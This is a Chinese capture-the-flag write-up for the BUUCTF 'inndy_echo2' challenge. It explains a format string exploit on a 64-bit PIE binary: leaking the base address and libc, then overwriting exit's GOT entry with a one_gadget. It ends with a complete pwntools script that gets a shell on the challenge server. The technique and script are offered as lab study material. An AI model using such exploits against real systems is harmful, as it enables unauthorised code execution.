BUU-inndy_echo2-WP

Posted on Nov 25, 2020

这是一道非常好的题目,我做完之后很有收获。

从安全措施上来看,本题开启了PIE,没开canary(虽然实际上开与不开是不影响这道题的)

这道题和echo看起来很像,但是实际上有不少区别,不仅仅是64位和32位的区别。首先,printf输出的字符上限受到了限制,一次最多输出256个字节,也就是说我们一次只能覆盖两个字节,因此我们无法像echo一样一次覆盖printf的got表为system的plt,由于我们要使用printf来覆盖,部分覆盖会使printf无法使用,所以覆盖printf的got不可行(但是又确实有师傅做到了覆盖printf,不太理解原理)。

所以我们要考虑更换覆盖的函数,而exit函数就非常的合适(system其实也可以,在循环后面就可以了)。但是这些个函数都无法人为指定参数,所以我们需要它直接返回到execve("/bin/sh", ...)这样的函数。程序本身是没有的,但是我们可以多次泄露任意地址内存,由此可以dump出libc,所以我们可以考虑通过LibcSearcher来找出libc,再通过one_gadget来找到目标函数。

思路分析到这里,我们来谈具体做法,首先由于程序开启了PIE保护,需要先泄露程序地址,在执行echo函数时,echo的栈帧的上一个元素存储了函数的返回地址,返回到main中,所以栈中必定有返回地址。我们先尝试输入一串泄露payload

这里可以看出从栈顶开始的第六个是字符串的起始地址,

ida中又可以看出字符串到栈底的偏移是0x110,所以如果我们想输出return address,那么就应该是第(0x110+0x8)/8 + 6=41个参数。因此

sh.sendline("%41$p")                                            
baseAddr = int(sh.recvuntil('\n',drop = True),base = 16) - 0xa03
print hex(baseAddr)                                             

这样我们就可以获得基地址了。被减掉的0xa03是固定的低12位。

有了基地址我们考虑泄露某个函数的got表,这里我选择了fgets

fgets_got_addr = baseAddr + elf.got["fgets"]                             
exit_got = baseAddr + elf.got["exit"]                                    
                                                                         
sh.sendline("stop%8$sdoneaaaa" + p64(fgets_got_addr))                    
sh.recvuntil("stop")                                                     
fgets_addr = u64(sh.recvuntil("doneaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)                                                    

这样我们泄露了fgets的got表值,然后通过LibcSearcher来查找对应的libc版本

libc = LibcSearcher('fgets', fgets_addr)

我们来看一下执行结果(虽然各位师傅应该非常的清楚,但是我还是多说一句,这个时候要连服务器而不是本地,泄露自己的libc是没用的!)

欸,非常好,只有一个匹配结果,那就是他了,然后我们用one_gadget来查找可用的函数

这几个都可以用。为了调用它,我们需要其实际的虚拟地址,就是说需要一个libc的基址,正好我们之前泄露了fgets的地址,手上又有一个找到的libc,我们直接到这个libc里面找fgets,放到IDA里面,alt+t查找,输入fgets

搞定,那么我们只要用fgets减掉6DAD0在加上one_gadget中取得的地址就得到可用的地址了。

地址都搞到了就只差覆写了,这里要注意64位机上地址中很容易出现\x00,所以我们把地址放到payload的最后,这样printf的时候就不会输出不了字符了。然后我们分多次覆写就可以了。

execve_addr = fgets_addr - 0x6DAD0 + 0xf02a4                                      
print hex(execve_addr)                                                            
                                                                                  
for i in range(0,8):                                                              
    #overwrite execve_addr+i                                                      
    length = execve_addr % 0x100                                                  
    payload = ('%' + str(length) + 'c' + "%8$hhn").ljust(16,'a') + p64(exit_got+i)
    if length == 0:                                                               
        payload = ("%8$hhn").ljust(16,'a') + p64(exit_got+i)                      
    sh.sendline(payload)                                                          
    sh.recvuntil(chr(int(str(hex(exit_got))[2:4],base = 16)))                     
    execve_addr >>= 8                                                             

就是这么处理的。

最后的exp

from pwn import *                                                                 
from LibcSearcher import *                                                        
                                                                                  
context(log_level = "debug")                                                      
#sh = process("./echo2")                                                          
sh = remote("node3.buuoj.cn",29229)                                               
elf = ELF("./echo2")                                                              
                                                                                  
sh.sendline("%41$p")                                                              
baseAddr = int(sh.recvuntil('\n',drop = True),base = 16) - 0xa03                  
print hex(baseAddr)                                                               
                                                                                  
system_plt_addr = baseAddr + elf.symbols["system"]                                
fgets_got_addr = baseAddr + elf.got["fgets"]                                      
exit_got = baseAddr + elf.got["exit"]                                             
                                                                                  
sh.sendline("stop%8$sdoneaaaa" + p64(fgets_got_addr))                             
sh.recvuntil("stop")                                                              
fgets_addr = u64(sh.recvuntil("doneaaaa",drop=True)[0:8].ljust(8,'\x00'))         
print hex(fgets_addr)                                                             
                                                                                  
execve_addr = fgets_addr - 0x6DAD0 + 0xf02a4                                      
print hex(execve_addr)                                                            
                                                                                  
for i in range(0,8):                                                              
    #overwrite execve_addr+i                                                      
    length = execve_addr % 0x100                                                  
    payload = ('%' + str(length) + 'c' + "%8$hhn").ljust(16,'a') + p64(exit_got+i)
    if length == 0:                                                               
        payload = ("%8$hhn").ljust(16,'a') + p64(exit_got+i)                      
    sh.sendline(payload)                                                          
    sh.recvuntil(chr(int(str(hex(exit_got))[2:4],base = 16)))                     
    execve_addr >>= 8                                                             
                                                                                  
sh.sendline("exit")                                                               
                                                                                  
sh.interactive()